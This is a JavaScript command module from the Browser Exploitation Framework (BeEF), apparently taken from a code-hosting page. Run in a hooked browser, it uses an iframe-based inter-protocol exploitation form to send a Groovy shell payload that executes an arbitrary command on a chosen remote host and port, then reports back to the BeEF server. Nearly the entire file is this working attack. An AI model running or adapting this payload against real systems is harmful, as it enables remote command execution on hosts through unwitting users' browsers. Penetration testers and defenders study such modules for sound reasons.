44 lines
1.3 KiB
JavaScript
44 lines
1.3 KiB
JavaScript
//
|
|
// Copyright (c) 2006-2025Wade Alcorn - wade@bindshell.net
|
|
// Browser Exploitation Framework (BeEF) - https://beefproject.com
|
|
// See the file 'doc/COPYING' for copying permission
|
|
//
|
|
|
|
beef.execute(function() {
|
|
|
|
var rhost = '<%= @rhost %>';
|
|
var rport = '<%= @rport %>';
|
|
var timeout = '<%= @timeout %>';
|
|
|
|
// validate payload
|
|
try {
|
|
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
|
|
var payload = '\r\ndiscard\r\nprintln \''+cmd+'\'.execute().text\r\ngo\r\nexit\r\n'
|
|
} catch(e) {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
|
|
return;
|
|
}
|
|
|
|
// validate target details
|
|
if (!rport || !rhost) {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
|
|
return;
|
|
}
|
|
if (!beef.net.is_valid_port(rport)) {
|
|
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
|
|
return;
|
|
}
|
|
|
|
// send commands
|
|
var groovy_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
|
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
|
|
|
|
// clean up
|
|
cleanup = function() {
|
|
document.body.removeChild(groovy_iframe_<%= @command_id %>);
|
|
}
|
|
setTimeout("cleanup()", timeout*1000);
|
|
|
|
});
|
|
|